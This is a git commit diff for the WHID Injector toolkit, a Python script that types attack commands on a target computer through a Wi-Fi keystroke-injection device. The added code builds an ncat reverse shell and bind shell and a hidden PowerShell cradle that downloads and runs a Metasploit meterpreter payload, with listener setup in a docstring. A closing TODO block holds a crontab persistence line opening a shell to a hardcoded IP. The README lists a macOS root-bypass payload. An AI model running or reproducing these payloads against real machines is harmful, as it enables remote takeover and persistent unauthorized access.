README update + Set options + Firmware 2.7.51 + meterpreter
parent
b0a553deba
commit
55a30b4000
|
@ -0,0 +1,104 @@
|
||||||
|
# Byte-compiled / optimized / DLL files
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
|
||||||
|
# C extensions
|
||||||
|
*.so
|
||||||
|
|
||||||
|
# Distribution / packaging
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
develop-eggs/
|
||||||
|
dist/
|
||||||
|
downloads/
|
||||||
|
eggs/
|
||||||
|
.eggs/
|
||||||
|
lib/
|
||||||
|
lib64/
|
||||||
|
parts/
|
||||||
|
sdist/
|
||||||
|
var/
|
||||||
|
wheels/
|
||||||
|
*.egg-info/
|
||||||
|
.installed.cfg
|
||||||
|
*.egg
|
||||||
|
MANIFEST
|
||||||
|
|
||||||
|
# PyInstaller
|
||||||
|
# Usually these files are written by a python script from a template
|
||||||
|
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||||
|
*.manifest
|
||||||
|
*.spec
|
||||||
|
|
||||||
|
# Installer logs
|
||||||
|
pip-log.txt
|
||||||
|
pip-delete-this-directory.txt
|
||||||
|
|
||||||
|
# Unit test / coverage reports
|
||||||
|
htmlcov/
|
||||||
|
.tox/
|
||||||
|
.coverage
|
||||||
|
.coverage.*
|
||||||
|
.cache
|
||||||
|
nosetests.xml
|
||||||
|
coverage.xml
|
||||||
|
*.cover
|
||||||
|
.hypothesis/
|
||||||
|
.pytest_cache/
|
||||||
|
|
||||||
|
# Translations
|
||||||
|
*.mo
|
||||||
|
*.pot
|
||||||
|
|
||||||
|
# Django stuff:
|
||||||
|
*.log
|
||||||
|
local_settings.py
|
||||||
|
db.sqlite3
|
||||||
|
|
||||||
|
# Flask stuff:
|
||||||
|
instance/
|
||||||
|
.webassets-cache
|
||||||
|
|
||||||
|
# Scrapy stuff:
|
||||||
|
.scrapy
|
||||||
|
|
||||||
|
# Sphinx documentation
|
||||||
|
docs/_build/
|
||||||
|
|
||||||
|
# PyBuilder
|
||||||
|
target/
|
||||||
|
|
||||||
|
# Jupyter Notebook
|
||||||
|
.ipynb_checkpoints
|
||||||
|
|
||||||
|
# pyenv
|
||||||
|
.python-version
|
||||||
|
|
||||||
|
# celery beat schedule file
|
||||||
|
celerybeat-schedule
|
||||||
|
|
||||||
|
# SageMath parsed files
|
||||||
|
*.sage.py
|
||||||
|
|
||||||
|
# Environments
|
||||||
|
.env
|
||||||
|
.venv
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
env.bak/
|
||||||
|
venv.bak/
|
||||||
|
|
||||||
|
# Spyder project settings
|
||||||
|
.spyderproject
|
||||||
|
.spyproject
|
||||||
|
|
||||||
|
# Rope project settings
|
||||||
|
.ropeproject
|
||||||
|
|
||||||
|
# mkdocs documentation
|
||||||
|
/site
|
||||||
|
|
||||||
|
# mypy
|
||||||
|
.mypy_cache/
|
52
README.md
52
README.md
|
@ -3,18 +3,23 @@
|
||||||
|
|
||||||
What is it ? It's a simple script to send commands (french keyboard) from your terminal to the WHID Injector. It will automatically convert the "azerty" to "qwerty" format. Furthermore it has builtins payload such as reverse-shell and bind-shell.
|
What is it ? It's a simple script to send commands (french keyboard) from your terminal to the WHID Injector. It will automatically convert the "azerty" to "qwerty" format. Furthermore it has builtins payload such as reverse-shell and bind-shell.
|
||||||
|
|
||||||
|
**Warning** : Newest version of WHID Toolkit expect the WHID to have a firmware in the prefered language, alternatively you can force the french keyboard with the english firmware using the `--force` arguments.
|
||||||
|
|
||||||
Where to buy a WHID Injector ? I got mine from [Aliexpress](https://www.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html)
|
Where to buy a WHID Injector ? I got mine from [Aliexpress](https://www.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html)
|
||||||
|
|
||||||
## How to start
|
## How to start
|
||||||
Connect to the Access Point with the SSID "**Exploit**" with a password of "**DotAgency**".
|
1. Connect to the Access Point with the SSID "**Exploit**" with a password of "**DotAgency**".
|
||||||
Open a web browser pointed to "**http://192.168.1.1**"
|
2. Open a web browser pointed to "**http://192.168.1.1**"
|
||||||
The default administration username is "**admin**" and password "**hacktheplanet**".
|
> The default administration username is "**admin**" and password "**hacktheplanet**".
|
||||||
Remember to upgrade the firmware you will find the version 2.7 in this repository
|
|
||||||
|
3. Remember to upgrade the firmware you will find the latest version in this repository
|
||||||
|
|
||||||
More info on the official Github : https://github.com/whid-injector/WHID
|
More info on the official Github : https://github.com/whid-injector/WHID
|
||||||
|
|
||||||
|
|
||||||
## How to use the script
|
## How to use the script
|
||||||
```
|
```c
|
||||||
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt -a -h 127 ↵
|
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt -h
|
||||||
usage: WHIDInjector.py [-h] [-v] [--host [HOST]] [--port [PORT]]
|
usage: WHIDInjector.py [-h] [-v] [--host [HOST]] [--port [PORT]]
|
||||||
[--user [USER]] [--pass [PASS]] [--panel [PANEL]]
|
[--user [USER]] [--pass [PASS]] [--panel [PANEL]]
|
||||||
[--payload [PAYLOAD]]
|
[--payload [PAYLOAD]]
|
||||||
|
@ -31,14 +36,13 @@ optional arguments:
|
||||||
```
|
```
|
||||||
|
|
||||||
Targeting a Windows OS
|
Targeting a Windows OS
|
||||||
```
|
```c
|
||||||
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt
|
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Send a simple reverse-shell payload
|
Send a simple reverse-shell payload
|
||||||
```
|
```
|
||||||
$ python3 WHIDInjector.py -v --host 127.0.0.1 --port 4444 1 ↵
|
$ python3 WHIDInjector.py -v --host 127.0.0.1 --port 4444
|
||||||
|
|
||||||
-------------------------------------------------------------
|
-------------------------------------------------------------
|
||||||
WHID injector - You need to be connected to the Exploit AP
|
WHID injector - You need to be connected to the Exploit AP
|
||||||
-------------------------------------------------------------
|
-------------------------------------------------------------
|
||||||
|
@ -61,9 +65,31 @@ Press:176
|
||||||
Sending payload to http://192.168.1.1/runlivepayload
|
Sending payload to http://192.168.1.1/runlivepayload
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Payloads and commands
|
||||||
|
| Commands | Description |
|
||||||
|
| :------------- | :------------- |
|
||||||
|
| bind | initiate a bind shell on results.port |
|
||||||
|
| reverse | initiate a reverse shell on results.host and results.port|
|
||||||
|
| meterpreter [https://YOUR_SERVER_IP:4646/posh-payload] | use exploit/multi/script/web_delivery with a posh-payload |
|
||||||
|
| send some text | send the specified text |
|
||||||
|
| h | help |
|
||||||
|
| q | quit |
|
||||||
|
|
||||||
|
You can change the options with `SET option_name option_value`
|
||||||
|
```c
|
||||||
|
>>> set host 192.168.1.12
|
||||||
|
>>> set port 4444
|
||||||
|
```
|
||||||
|
|
||||||
# What's next ?
|
At the moment the following templates are available, feel free to add more:
|
||||||
TODO change_ssid_name
|
|
||||||
TODO change_ssid_pass
|
| Template | Description |
|
||||||
TODO update_firmware
|
| :------------- | :------------- |
|
||||||
|
| payloads/osx_high_sierra_root.txt | CVE-2017-13872 |
|
||||||
|
| payloads/osx.txt | execute a command with [Cmd]+[Space] |
|
||||||
|
| payloads/windows.txt | execute a command with [Windows]+[R] |
|
||||||
|
| payloads/i3.txt | execute a command with [Windows]+[Enter] |
|
||||||
|
| payloads/gnome.txt | execute a command with [Alt]+[F2] |
|
||||||
|
| payloads/default.txt | default behavior is the gnome command |
|
||||||
|
|
||||||
|
NOTE: The i3 payload uses the [Windows] key as the default modifier, some people prefer to use [CTRL]
|
||||||
|
|
207
WHIDInjector.py
207
WHIDInjector.py
|
@ -1,122 +1,27 @@
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
# NOTE: python3 WHIDInjector.py -v --host 192.168.10.22 --port 4242 #reverse
|
||||||
import requests
|
import requests
|
||||||
import argparse
|
import argparse
|
||||||
import re
|
import re
|
||||||
|
from WhidInfo import *
|
||||||
|
from WhidEngine import *
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from urllib.parse import urlencode, quote_plus
|
from urllib.parse import urlencode, quote_plus
|
||||||
|
|
||||||
def banner():
|
|
||||||
print("""
|
|
||||||
\033[93m -------------------------------------------------------------\033[0m
|
|
||||||
\033[1m WHID injector - You need to be connected to the Exploit AP\033[0m
|
|
||||||
\033[93m -------------------------------------------------------------
|
|
||||||
__ °
|
|
||||||
<(o )___
|
|
||||||
( ._> /
|
|
||||||
`---'\033[0m @pentest_swissky
|
|
||||||
""")
|
|
||||||
print("Enter a payload, eg: bash -c 'nohup ncat 127.0.0.1 4242 -e $SHELL &'")
|
|
||||||
print("-------------------------------------------------------------------")
|
|
||||||
|
|
||||||
def help():
|
|
||||||
print("--------------[ Events ]--------------")
|
|
||||||
print("q/exit => exit the program")
|
|
||||||
print("h/help => display this help message")
|
|
||||||
print("reverse => use a basic reverse-shell based on ncat")
|
|
||||||
print("bind => set up a bind-shell")
|
|
||||||
print("empire URL => download and execute a powershell string")
|
|
||||||
print("send MSG => write MSG")
|
|
||||||
print("--------------[ Commands ]--------------")
|
|
||||||
print("Comment => Rem: Comment")
|
|
||||||
print("Delay => CustomDelay:1000")
|
|
||||||
print("Send key => Press:X+Y, Press:131+114")
|
|
||||||
print("Send text => Print:XYZ")
|
|
||||||
print("Move mouse => MouseMoveUp:X, MouseMoveDown:X, MouseMoveLeft:X, MouseMoveRight:X")
|
|
||||||
print("Mouse click => MouseClickLEFT:X, MouseClickRIGHT:X, MouseClickMIDDLE:X")
|
|
||||||
print("Blink led => BlinkLED:X")
|
|
||||||
print("The work around for writing a script that requires a '<' is to replace all instances of '<' with '<'.")
|
|
||||||
print("")
|
|
||||||
print("--------------[ KeyboardModifiers ]--------------")
|
|
||||||
print("Key Decimal| Key Decimal")
|
|
||||||
print("KEY_LEFT_CTRL 128 | KEY_LEFT_SHIFT 129")
|
|
||||||
print("KEY_LEFT_ALT 130 | KEY_LEFT_GUI 131")
|
|
||||||
print("KEY_RIGHT_CTRL 132 | KEY_RIGHT_SHIFT 133")
|
|
||||||
print("KEY_RIGHT_ALT 134 | KEY_RIGHT_GUI 135")
|
|
||||||
print("KEY_UP_ARROW 218 | KEY_DOWN_ARROW 217")
|
|
||||||
print("KEY_LEFT_ARROW 216 | KEY_RIGHT_ARROW 215")
|
|
||||||
print("KEY_BACKSPACE 178 | KEY_TAB 179")
|
|
||||||
print("KEY_RETURN 176 | KEY_ESC 177")
|
|
||||||
print("KEY_INSERT 209 | KEY_PAGE_UP 211")
|
|
||||||
print("KEY_DELETE 212 | KEY_HOME 210")
|
|
||||||
print("KEY_END 213 | KEY_CAPS_LOCK 193")
|
|
||||||
print("KEY_F1 194 | KEY_F2 195")
|
|
||||||
print("KEY_F3 196 | KEY_F4 197")
|
|
||||||
print("KEY_F5 198 | KEY_F6 199")
|
|
||||||
print("KEY_F7 200 | KEY_F8 201")
|
|
||||||
print("KEY_F9 202 | KEY_F10 203")
|
|
||||||
print("KEY_F11 204 | KEY_F12 205")
|
|
||||||
|
|
||||||
|
|
||||||
def convert_to_keymap(user_input, payload):
|
|
||||||
# TODO find > < and |
|
|
||||||
fr_mapping = './mazqwAZQW&é"\'(-è_çà)^$Mù,?;:!§1234567890'
|
|
||||||
en_mapping = '<>;qwazQWAZ1234567890-[]:\'mM,./?!@#$%^&*()'
|
|
||||||
user_converted = user_input.translate(str.maketrans(fr_mapping,en_mapping))
|
|
||||||
user_converted = payload % user_converted
|
|
||||||
return user_converted
|
|
||||||
|
|
||||||
|
|
||||||
def send_payload(user_converted, panel):
|
|
||||||
payloads = { "livepayload":user_converted, "livepayloadpresent":1}
|
|
||||||
encoded = urlencode( payloads, quote_via=quote_plus)
|
|
||||||
try:
|
|
||||||
print('Sending payload to %s' % panel)
|
|
||||||
if not "200" in str(requests.post(panel, data=encoded)):
|
|
||||||
print("\033[91mError 404, are you connected on the right AP?")
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
print("\033[91mError, couldn't reach the Wifi Portal !")
|
|
||||||
|
|
||||||
|
|
||||||
def update_firmware():
|
|
||||||
update = "https://github.com/exploitagency/ESPloitV2/releases"
|
|
||||||
update = requests.get(update).text
|
|
||||||
regex = re.compile("exploit.*\.bin")
|
|
||||||
last = "https://github.com/" + regex.findall(update)[0]
|
|
||||||
|
|
||||||
name = "-".join(last.split('/')[-2:])
|
|
||||||
download = Path(name)
|
|
||||||
if not download.exists():
|
|
||||||
print("Downloading the last release: %s" % last)
|
|
||||||
r = requests.get(last, stream=True)
|
|
||||||
if r.status_code == 200:
|
|
||||||
with open(name, 'wb') as f:
|
|
||||||
for chunk in r:
|
|
||||||
f.write(chunk)
|
|
||||||
|
|
||||||
|
|
||||||
def check_panel(panel):
|
|
||||||
try:
|
|
||||||
if not "ESPloit" in requests.get(panel, timeout=1).text:
|
|
||||||
print("\033[91mError 404, are you connected on the right AP?")
|
|
||||||
update_firmware()
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
print("\033[91mError, couldn't reach the Wifi Portal !\033[0m")
|
|
||||||
update_firmware()
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
# Parsing argument from command line
|
# Parsing argument from command line
|
||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
parser.add_argument('-v', action='store_true', dest='verbose',help='Verbosity of the output')
|
parser.add_argument('-v', action='store_true', dest='verbose',help='Verbosity of the output')
|
||||||
|
parser.add_argument('--force', action='store_true', dest='force', help='Force the output in french')
|
||||||
parser.add_argument('--host', nargs='?', default='127.0.0.1', help='Host reverse-shell' )
|
parser.add_argument('--host', nargs='?', default='127.0.0.1', help='Host reverse-shell' )
|
||||||
parser.add_argument('--port', nargs='?', default='4242', help='Port reverse-shell' )
|
parser.add_argument('--port', nargs='?', default='4242', help='Port reverse-shell' )
|
||||||
parser.add_argument('--user', nargs='?', default='admin', help='Wifi Panel username')
|
parser.add_argument('--user', nargs='?', default='admin', help='Panel username')
|
||||||
parser.add_argument('--pass', nargs='?', default='hacktheplanet', help='Wifi Panel password')
|
parser.add_argument('--pass', nargs='?', default='hacktheplanet', help='Panel password')
|
||||||
parser.add_argument('--panel',nargs='?', default='http://192.168.1.1', help='Wifi Panel password')
|
parser.add_argument('--panel', nargs='?', default='http://192.168.1.1', help='Panel url')
|
||||||
|
parser.add_argument('--wifi_ssid', nargs='?', default='Exploit', help='Wifi ssid')
|
||||||
|
parser.add_argument('--wifi_pass', nargs='?', default='DotAgency', help='Wifi password')
|
||||||
parser.add_argument('--payload', nargs='?', default='payloads/default.txt', help='Payload template')
|
parser.add_argument('--payload', nargs='?', default='payloads/default.txt', help='Payload template')
|
||||||
results = parser.parse_args()
|
results = parser.parse_args()
|
||||||
|
|
||||||
|
@ -125,17 +30,47 @@ if __name__ == "__main__":
|
||||||
with open(results.payload,'r') as f:
|
with open(results.payload,'r') as f:
|
||||||
payload = f.read()
|
payload = f.read()
|
||||||
|
|
||||||
banner()
|
info = WhidInfo()
|
||||||
check_panel(results.panel)
|
whid = WhidEngine(results.panel)
|
||||||
while(True):
|
while(True):
|
||||||
user_input = input("\033[92m>>> \033[0m")
|
user_input = input("\033[92m>>> \033[0m")
|
||||||
|
|
||||||
|
|
||||||
|
# Handling : SET xxxxxx yyyyyy
|
||||||
|
if user_input.split(" ")[0].upper() == "SET":
|
||||||
|
options = user_input.split(" ")
|
||||||
|
if options[1] == "host":
|
||||||
|
results.host = options[2]
|
||||||
|
elif options[1] == "port":
|
||||||
|
results.port = options[2]
|
||||||
|
elif options[1] == "user":
|
||||||
|
results.user = options[2]
|
||||||
|
elif options[1] == "verbose":
|
||||||
|
results.verbose = options[2].lower() == "true"
|
||||||
|
elif options[1] == "panel":
|
||||||
|
results.panel = options[2]
|
||||||
|
elif options[1] == "wifi_ssid":
|
||||||
|
results.wifi_ssid = options[2]
|
||||||
|
elif options[1] == "wifi_pass":
|
||||||
|
results.wifi_pass = options[2]
|
||||||
|
elif options[1] == "payload":
|
||||||
|
results.payload = options[2]
|
||||||
|
with open(results.payload,'r') as f:
|
||||||
|
payload = f.read()
|
||||||
|
else:
|
||||||
|
print("Unknown option - e.g: SET host 127.0.0.1")
|
||||||
|
continue
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
# Simple user interactions
|
# Simple user interactions
|
||||||
if user_input == "q" or user_input=="exit":
|
if user_input == "q" or user_input=="exit":
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
elif user_input == "h" or user_input == "help":
|
elif user_input == "h" or user_input == "help":
|
||||||
help()
|
info.help()
|
||||||
|
info.help_keyboard()
|
||||||
|
info.help_commands()
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Reverse Shell Linux
|
# Reverse Shell Linux
|
||||||
|
@ -146,36 +81,72 @@ if __name__ == "__main__":
|
||||||
elif "bind" == user_input:
|
elif "bind" == user_input:
|
||||||
user_input = "bash -c 'nohup ncat -lvp %s -e $SHELL -k &'" % (results.port)
|
user_input = "bash -c 'nohup ncat -lvp %s -e $SHELL -k &'" % (results.port)
|
||||||
|
|
||||||
# Empire or anything for Windows
|
# Meterpreter or anything for Windows
|
||||||
elif "empire" in user_input :
|
elif "meterpreter" in user_input :
|
||||||
# Recommended https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
|
"""
|
||||||
args = user_input.split(" ")
|
# Use the following to set up the listener
|
||||||
user_input = "powershell -W Hidden -nop -noni -c \"IEX (New-Object Net.Webclient).downloadstring('%s')\"" % args[1]
|
use exploit/multi/script/web_delivery
|
||||||
|
set SRVHOST YOUR_SERVER_IP
|
||||||
|
set SRVPORT 4646
|
||||||
|
set SSL true
|
||||||
|
set target 2
|
||||||
|
set URIPATH posh-payload
|
||||||
|
set payload windows/meterpreter/reverse_https
|
||||||
|
set ExitOnSession false
|
||||||
|
set LHOST YOUR_SERVER_IP
|
||||||
|
set LPORT 4545
|
||||||
|
exploit -j -z
|
||||||
|
|
||||||
|
# E.g: meterpreter https://YOUR_SERVER_IP:4646/posh-payload
|
||||||
|
"""
|
||||||
|
if len(user_input.split(" ")) > 1:
|
||||||
|
msf_host = user_input.split(" ")[1]
|
||||||
|
else:
|
||||||
|
msf_host = "https://%s:%s/posh-payload" % (results.host, results.port)
|
||||||
|
|
||||||
|
user_input = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$i=new-object net.webclient;$i.proxy=[Net.WebRequest]::GetSystemWebProxy();$i.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $i.downloadstring('%s');" % msf_host
|
||||||
|
|
||||||
# Send the payload
|
# Send the payload
|
||||||
user_converted = convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176")
|
user_converted = whid.convert_to_keymap(user_input, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176", results.force)
|
||||||
send_payload(user_converted, results.panel+"/runlivepayload")
|
whid.send_payload(user_converted, results.panel+"/runlivepayload")
|
||||||
|
continue
|
||||||
|
|
||||||
|
|
||||||
# Send simple text without using a payload chain
|
# Send simple text without using a payload chain
|
||||||
elif 'send' == user_input.split(' ')[0]:
|
elif 'send' == user_input.split(' ')[0]:
|
||||||
# Convert the simple text to keymap
|
# Convert the simple text to keymap
|
||||||
txt = "".join(user_input.split(' ')[1:])
|
txt = "".join(user_input.split(' ')[1:])
|
||||||
user_converted = convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176")
|
user_converted = whid.convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176", results.force)
|
||||||
if results.verbose == True:
|
if results.verbose == True:
|
||||||
print('\033[92mText:\033[0m\n%s' % user_converted)
|
print('\033[92mText:\033[0m\n%s' % user_converted)
|
||||||
|
|
||||||
# Send the payload
|
# Send the payload
|
||||||
send_payload(user_converted, results.panel+"/runlivepayload")
|
whid.send_payload(user_converted, results.panel+"/runlivepayload")
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Send evil command with default payload
|
# Send evil command with default payload
|
||||||
if user_input != "":
|
if user_input != "":
|
||||||
|
|
||||||
# Convert from AZERTY to QWERTY
|
# Convert from AZERTY to QWERTY
|
||||||
user_converted = convert_to_keymap(user_input, payload)
|
user_converted = whid.convert_to_keymap(user_input, payload, results.force)
|
||||||
if results.verbose == True:
|
if results.verbose == True:
|
||||||
print('\033[92mPayload:\033[0m\n%s' % user_converted)
|
print('\033[92mPayload:\033[0m\n%s' % user_converted)
|
||||||
|
|
||||||
# Send the payload
|
# Send the payload
|
||||||
send_payload(user_converted, results.panel+"/runlivepayload")
|
whid.send_payload(user_converted, results.panel+"/runlivepayload")
|
||||||
|
|
||||||
|
|
||||||
|
"""
|
||||||
|
export un binary with mapping FR: 2.7.51-ESP_Code.ino.french.bin
|
||||||
|
empire bug
|
||||||
|
refactor:
|
||||||
|
|
||||||
|
crontab:
|
||||||
|
(crontab -l ; echo "@reboot sleep 200 && ncat 92.222.81.2 4242 -e /bin/bash")|crontab 2> /dev/null
|
||||||
|
|
||||||
|
|
||||||
|
TODO change_ssid_name
|
||||||
|
TODO change_ssid_pass
|
||||||
|
TODO update_firmware
|
||||||
|
TODO provide a french_keyboard_firmware.bin
|
||||||
|
"""
|
||||||
|
|
|
@ -0,0 +1,63 @@
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
from pathlib import Path
|
||||||
|
from urllib.parse import urlencode, quote_plus
|
||||||
|
|
||||||
|
class WhidEngine(object):
|
||||||
|
|
||||||
|
# NOTE: check if the panel is reachable
|
||||||
|
def __init__(self, panel):
|
||||||
|
try:
|
||||||
|
if not "ESPloit" in requests.get(panel, timeout=1).text:
|
||||||
|
print("\033[91mError 404, are you connected on the right AP?")
|
||||||
|
self.update_firmware()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print (e)
|
||||||
|
print("\033[91mError, couldn't reach the Wifi Portal !\033[0m")
|
||||||
|
|
||||||
|
|
||||||
|
# NOTE: this update use the last firmware on Github
|
||||||
|
# You may need to build a new one with your keyboard mapping
|
||||||
|
def update_firmware(self):
|
||||||
|
update = "https://github.com/exploitagency/ESPloitV2/releases"
|
||||||
|
update = requests.get(update).text
|
||||||
|
regex = re.compile("exploit.*\.bin")
|
||||||
|
last = "https://github.com/" + regex.findall(update)[0]
|
||||||
|
|
||||||
|
name = "firmware/"+"-".join(last.split('/')[-2:])
|
||||||
|
download = Path(name)
|
||||||
|
if not download.exists():
|
||||||
|
print("Downloading the last release: %s" % last)
|
||||||
|
r = requests.get(last, stream=True)
|
||||||
|
if r.status_code == 200:
|
||||||
|
with open(name, 'wb') as f:
|
||||||
|
for chunk in r:
|
||||||
|
f.write(chunk)
|
||||||
|
|
||||||
|
# NOTE: send the payload to the /runlivepayload page
|
||||||
|
def send_payload(self, user_converted, panel):
|
||||||
|
payloads = { "livepayload":user_converted, "livepayloadpresent":1}
|
||||||
|
encoded = urlencode( payloads, quote_via=quote_plus)
|
||||||
|
try:
|
||||||
|
print('Sending payload to %s' % panel)
|
||||||
|
if not "200" in str(requests.post(panel, data=encoded)):
|
||||||
|
print("\033[91mError 404, are you connected on the right AP?")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print("\033[91mError, couldn't reach the Wifi Portal !")
|
||||||
|
|
||||||
|
|
||||||
|
# NOTE : mapping is use for retro-compatibility
|
||||||
|
def convert_to_keymap(self, user_input, payload, mapping=False):
|
||||||
|
if mapping:
|
||||||
|
# Dirty version, if you don't want to upgrade the firmware
|
||||||
|
fr_mapping = './mazqwAZQW&é"\'(-è_çà)^$Mù,?;:!§1234567890'
|
||||||
|
en_mapping = '<>;qwazQWAZ1234567890-[]:\'mM,./?!@#$%^&*()'
|
||||||
|
user_converted = user_input.translate(str.maketrans(fr_mapping,en_mapping))
|
||||||
|
else:
|
||||||
|
user_converted = user_input
|
||||||
|
|
||||||
|
# Merge the payload and the user input
|
||||||
|
user_converted = payload % user_converted
|
||||||
|
return user_converted
|
|
@ -0,0 +1,67 @@
|
||||||
|
import glob
|
||||||
|
|
||||||
|
# NOTE: this class is working as a documentation for the project
|
||||||
|
class WhidInfo(object):
|
||||||
|
def __init__(self):
|
||||||
|
print("""
|
||||||
|
\033[93m -------------------------------------------------------------\033[0m
|
||||||
|
\033[1m WHID injector - You need to be connected to the Exploit AP\033[0m
|
||||||
|
\033[93m -------------------------------------------------------------
|
||||||
|
__ °
|
||||||
|
<(o )___
|
||||||
|
( ._> /
|
||||||
|
`---'\033[0m @pentest_swissky
|
||||||
|
""")
|
||||||
|
print("Enter a payload, eg: bash -c 'nohup ncat 127.0.0.1 4242 -e $SHELL &'")
|
||||||
|
print("-------------------------------------------------------------------")
|
||||||
|
|
||||||
|
|
||||||
|
def help(self):
|
||||||
|
print("\033[1m--------------[ Events ]--------------\033[0m")
|
||||||
|
print("q/exit => exit the program")
|
||||||
|
print("h/help => display this help message")
|
||||||
|
print("reverse => use a basic reverse-shell based on ncat")
|
||||||
|
print("bind => set up a bind-shell")
|
||||||
|
print("empire URL => download and execute a powershell string")
|
||||||
|
print("send MSG => write MSG")
|
||||||
|
print("")
|
||||||
|
|
||||||
|
files = glob.glob("payloads/*")
|
||||||
|
print("\033[1m--------------[ Payloads ]--------------\033[0m")
|
||||||
|
print("Use these as the following option --payload payload_name")
|
||||||
|
for filename in files:
|
||||||
|
print(filename)
|
||||||
|
print("")
|
||||||
|
|
||||||
|
def help_commands(self):
|
||||||
|
print("\033[1m--------------[ Commands ]--------------\033[0m")
|
||||||
|
print("Comment => Rem: Comment")
|
||||||
|
print("Delay => CustomDelay:1000")
|
||||||
|
print("Send key => Press:X+Y, Press:131+114")
|
||||||
|
print("Send text => Print:XYZ")
|
||||||
|
print("Move mouse => MouseMove[Up,Down,Left,Right]:X")
|
||||||
|
print("Mouse click => MouseClick[LEFT,RIGHT,MIDDLE]:X")
|
||||||
|
print("Blink led => BlinkLED:X")
|
||||||
|
print("")
|
||||||
|
|
||||||
|
def help_keyboard(self):
|
||||||
|
print("\033[1m--------------[ KeyboardModifiers ]--------------\033[0m")
|
||||||
|
print("Key Decimal| Key Decimal")
|
||||||
|
print("KEY_LEFT_CTRL 128 | KEY_LEFT_SHIFT 129")
|
||||||
|
print("KEY_LEFT_ALT 130 | KEY_LEFT_GUI 131")
|
||||||
|
print("KEY_RIGHT_CTRL 132 | KEY_RIGHT_SHIFT 133")
|
||||||
|
print("KEY_RIGHT_ALT 134 | KEY_RIGHT_GUI 135")
|
||||||
|
print("KEY_UP_ARROW 218 | KEY_DOWN_ARROW 217")
|
||||||
|
print("KEY_LEFT_ARROW 216 | KEY_RIGHT_ARROW 215")
|
||||||
|
print("KEY_BACKSPACE 178 | KEY_TAB 179")
|
||||||
|
print("KEY_RETURN 176 | KEY_ESC 177")
|
||||||
|
print("KEY_INSERT 209 | KEY_PAGE_UP 211")
|
||||||
|
print("KEY_DELETE 212 | KEY_HOME 210")
|
||||||
|
print("KEY_END 213 | KEY_CAPS_LOCK 193")
|
||||||
|
print("KEY_F1 194 | KEY_F2 195")
|
||||||
|
print("KEY_F3 196 | KEY_F4 197")
|
||||||
|
print("KEY_F5 198 | KEY_F6 199")
|
||||||
|
print("KEY_F7 200 | KEY_F8 201")
|
||||||
|
print("KEY_F9 202 | KEY_F10 203")
|
||||||
|
print("KEY_F11 204 | KEY_F12 205")
|
||||||
|
print("")
|
Binary file not shown.
|
@ -1,4 +1,4 @@
|
||||||
Rem:Command Execution (ALT+F2)
|
Rem:Command Execution for Ubuntu/Debian (ALT+F2)
|
||||||
Press:130+195
|
Press:130+195
|
||||||
CustomDelay:1000
|
CustomDelay:1000
|
||||||
Print:%s
|
Print:%s
|
||||||
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
Rem:Command Execution for Ubuntu/Debian (ALT+F2)
|
||||||
|
Press:130+195
|
||||||
|
CustomDelay:1000
|
||||||
|
Print:%s
|
||||||
|
CustomDelay:1000
|
||||||
|
Press:176
|
Before Width: | Height: | Size: 171 KiB After Width: | Height: | Size: 171 KiB |
Loading…
Reference in New Issue